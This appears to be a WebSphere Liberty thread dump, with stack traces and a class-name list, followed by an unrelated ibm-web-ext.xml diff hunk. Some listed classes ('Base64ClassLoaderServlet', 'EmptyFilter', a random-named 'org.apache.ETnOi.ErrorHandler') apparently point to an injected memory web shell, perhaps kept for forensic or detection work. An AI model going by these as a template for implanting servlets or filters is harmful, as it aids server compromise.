at EmptyFilter.doFilter(EmptyFilter.java:21)
at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:201)
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:90)
at com.ibm.ws.security.jaspi.JaspiServletFilter.doFilter(JaspiServletFilter.java:56)
at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:201)
at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:90)
at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:1001)
at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters(WebAppFilterManager.java:1139)
at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters(WebAppFilterManager.java:1010)
at com.ibm.ws.webcontainer.servlet.CacheServletWrapper.handleRequest(CacheServletWrapper.java:75)
at com.ibm.ws.webcontainer40.servlet.CacheServletWrapper40.handleRequest(CacheServletWrapper40.java:83)
at com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:936)
at com.ibm.ws.webcontainer.osgi.DynamicVirtualHost$2.run(DynamicVirtualHost.java:279)
at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink$TaskWrapper.run(HttpDispatcherLink.java:1141)
at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink.wrapHandlerAndExecute(HttpDispatcherLink.java:422)
at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink.ready(HttpDispatcherLink.java:381)
at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.handleDiscrimination(HttpInboundLink.java:565)
at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.handleNewRequest(HttpInboundLink.java:499)
at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.processRequest(HttpInboundLink.java:359)
at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.ready(HttpInboundLink.java:326)
at com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback.sendToDiscriminators(NewConnectionInitialReadCallback.java:167)
at com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback.complete(NewConnectionInitialReadCallback.java:75)
at com.ibm.ws.tcpchannel.internal.WorkQueueManager.requestComplete(WorkQueueManager.java:504)
at com.ibm.ws.tcpchannel.internal.WorkQueueManager.attemptIO(WorkQueueManager.java:574)
at com.ibm.ws.tcpchannel.internal.WorkQueueManager.workerRun(WorkQueueManager.java:958)
at com.ibm.ws.tcpchannel.internal.WorkQueueManager$Worker.run(WorkQueueManager.java:1047)
at com.ibm.ws.threading.internal.ExecutorServiceImpl$RunnableWrapper.run(ExecutorServiceImpl.java:239)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"sib.SpillDispatcher-77EB184637998288-1" #82 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@97172478
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586)
at java.lang.Thread.run(Thread.java:823)
"JIT Compilation Thread-003 Suspended" #5 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"GC Worker" #18 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Inbound Write Selector.1" #99 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
at java.lang.Thread.run(Thread.java:823)
"main" #1 [WAITING] on java.util.concurrent.atomic.AtomicReference@75e2431a
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at org.eclipse.osgi.container.SystemModule.waitForStop(SystemModule.java:173)
at org.eclipse.osgi.internal.framework.EquinoxBundle$SystemBundle.waitForStop(EquinoxBundle.java:306)
at org.eclipse.osgi.launch.Equinox.waitForStop(Equinox.java:198)
at com.ibm.ws.kernel.launch.internal.FrameworkManager.waitForFrameworkStop(FrameworkManager.java:719)
at com.ibm.ws.kernel.launch.internal.FrameworkManager.launchFramework(FrameworkManager.java:313)
at com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl.doFrameworkLaunch(LauncherDelegateImpl.java:114)
at com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl.launchFramework(LauncherDelegateImpl.java:100)
at com.ibm.ws.kernel.boot.internal.KernelBootstrap.go(KernelBootstrap.java:214)
at com.ibm.ws.kernel.boot.Launcher.handleActions(Launcher.java:241)
at com.ibm.ws.kernel.boot.Launcher.createPlatform(Launcher.java:117)
at com.ibm.ws.kernel.boot.cmdline.EnvCheck.main(EnvCheck.java:59)
at com.ibm.ws.kernel.boot.cmdline.EnvCheck.main(EnvCheck.java:35)
"JIT Compilation Thread-004 Suspended" #6 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Timer-1" #30 [TIMED_WAITING] on java.util.TaskQueue@90df577
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at java.util.TimerThread.mainLoop(Timer.java:552)
at java.util.TimerThread.run(Timer.java:505)
"GC Worker" #20 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Default Executor-thread-20" #89 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@5ec8a99
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"sib.SpillDispatcher-77EB184637998288-2" #83 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@7895f131
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586)
at java.lang.Thread.run(Thread.java:823)
"Bundle File Closer" #54 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@8dbbfe7b
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:189)
at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:400)
at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:341)
"Inbound Write Selector.1" #101 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
at java.lang.Thread.run(Thread.java:823)
"JIT Compilation Thread-001 Suspended" #3 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"sib.SpillDispatcher-77EB184637998288-0" #81 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@9f2deceb
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586)
at java.lang.Thread.run(Thread.java:823)
"Equinox start level thread - Equinox Container: 73d02be8-a74f-4c7b-833c-eec1ecfe03f7" #39 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@e0fdb9a7
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"Active Thread: Equinox Container: 73d02be8-a74f-4c7b-833c-eec1ecfe03f7" #31 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@efe1c97a
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"Concurrent Mark Helper" #13 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Inbound Write Selector.1" #72 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
at java.lang.Thread.run(Thread.java:823)
"NotifyHelper" #76 daemon [WAITING] on com.ibm.ws.objectManager.FileLogOutput$NotifyHelper@52c8c6fc
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:189)
at com.ibm.ws.objectManager.FileLogOutput$NotifyHelper.run(FileLogOutput.java:3340)
at java.lang.Thread.run(Thread.java:823)
"Default Executor-thread-9" #59 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@fe553142
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"Default Executor-thread-16" #69 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@d8e80ee0
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"sib.SpillDispatcher-77EB184637998288-6" #87 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@e3033110
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586)
at java.lang.Thread.run(Thread.java:823)
"Attach API wait loop" #26 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at openj9.internal.tools.attach.target.IPC.waitSemaphore(Native Method)
at openj9.internal.tools.attach.target.CommonDirectory.waitSemaphore(CommonDirectory.java:259)
at openj9.internal.tools.attach.target.WaitLoop.waitForNotification(WaitLoop.java:66)
at openj9.internal.tools.attach.target.WaitLoop.run(WaitLoop.java:154)
"Timer-3" #44 daemon [TIMED_WAITING] on java.util.TaskQueue@4eb4e0f7
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at java.util.TimerThread.mainLoop(Timer.java:552)
at java.util.TimerThread.run(Timer.java:505)
"sib.SpillDispatcher-77EB184637998288-3" #84 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@6336802
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586)
at java.lang.Thread.run(Thread.java:823)
"Timer-5" #79 daemon [TIMED_WAITING] on java.util.TaskQueue@52088b4f
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at java.util.TimerThread.mainLoop(Timer.java:552)
at java.util.TimerThread.run(Timer.java:505)
"Timer-4" #56 daemon [WAITING] on java.util.TaskQueue@6e059e8d
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:189)
at java.util.TimerThread.mainLoop(Timer.java:526)
at java.util.TimerThread.run(Timer.java:505)
"Default Executor-thread-17" #73 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@2972cf6f
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"Equinox start level thread - Equinox Container: 73d02be8-a74f-4c7b-833c-eec1ecfe03f7" #40 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@e0fdb9a7
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"Start Level: Equinox Container: 73d02be8-a74f-4c7b-833c-eec1ecfe03f7" #37 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@8e2c1fd4
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:189)
at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:400)
at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:341)
"Shared TCPChannel NonBlocking Accept Thread" #62 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168)
at java.lang.Thread.run(Thread.java:823)
"Equinox start level thread - Equinox Container: 73d02be8-a74f-4c7b-833c-eec1ecfe03f7" #38 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@e0fdb9a7
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:823)
"System defaultME : 0" #91 daemon [WAITING] on java.lang.Object@88d960a
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:189)
at com.ibm.ws.sib.processor.utils.am.MPAlarmThread.run(MPAlarmThread.java:238)
at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1670)
===========================================
StackClassNames:
Base64ClassLoaderServlet
EmptyFilter
com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$DeferredLogEmitter
com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperLock
com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperRunnable
com.ibm.ws.http.channel.internal.inbound.HttpInboundLink
com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink
com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink$TaskWrapper
com.ibm.ws.kernel.boot.Launcher
com.ibm.ws.kernel.boot.cmdline.EnvCheck
com.ibm.ws.kernel.boot.internal.KernelBootstrap
com.ibm.ws.kernel.launch.internal.FrameworkManager
com.ibm.ws.kernel.launch.internal.FrameworkManager$4
com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl
com.ibm.ws.kernel.launch.internal.ServerCommandListener
com.ibm.ws.objectManager.FileLogOutput$FlushHelper
com.ibm.ws.objectManager.FileLogOutput$NotifyHelper
com.ibm.ws.objectManager.ObjectManagerState$CheckpointHelper
com.ibm.ws.security.jaspi.JaspiServletFilter
com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread
com.ibm.ws.sib.msgstore.persistence.objectManager.UniqueKeyRangeManager
com.ibm.ws.sib.processor.utils.am.MPAlarmThread
com.ibm.ws.tcpchannel.internal.ChannelSelector
com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback
com.ibm.ws.tcpchannel.internal.WorkQueueManager
com.ibm.ws.tcpchannel.internal.WorkQueueManager$Worker
com.ibm.ws.threading.internal.BoundedBuffer
com.ibm.ws.threading.internal.ExecutorServiceImpl$RunnableWrapper
com.ibm.ws.util.BoundedBuffer
com.ibm.ws.util.ThreadPool
com.ibm.ws.util.ThreadPool$Worker
com.ibm.ws.webcontainer.WebContainer
com.ibm.ws.webcontainer.filter.FilterInstanceWrapper
com.ibm.ws.webcontainer.filter.WebAppFilterChain
com.ibm.ws.webcontainer.filter.WebAppFilterManager
com.ibm.ws.webcontainer.osgi.DynamicVirtualHost$2
com.ibm.ws.webcontainer.servlet.CacheServletWrapper
com.ibm.ws.webcontainer.servlet.ServletWrapper
com.ibm.ws.webcontainer40.servlet.CacheServletWrapper40
openj9.internal.tools.attach.target.CommonDirectory
openj9.internal.tools.attach.target.IPC
openj9.internal.tools.attach.target.WaitLoop
org.apache.ETnOi.ErrorHandler
org.apache.felix.scr.impl.ComponentActorThread
org.apache.yoko.orb.OB.GIOPServerStarterThreaded
org.apache.yoko.orb.OB.GIOPServerStarterThreaded$Starter
org.apache.yoko.orb.OCI.IIOP.Acceptor_impl
org.eclipse.osgi.container.SystemModule
org.eclipse.osgi.framework.eventmgr.EventManager$EventThread
org.eclipse.osgi.internal.framework.EquinoxBundle$SystemBundle
org.eclipse.osgi.launch.Equinox
@@ -1,4 +1,8 @@
<?xml version="1.0" encoding="UTF-8"?>
<web-ext>
<web-ext
xmlns="http://websphere.ibm.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://websphere.ibm.com/xml/ns/javaee http://websphere.ibm.com/xml/ns/javaee/ibm-web-ext_1_0.xsd"
version="1.0">
<context-root uri="/app"/>
</web-ext>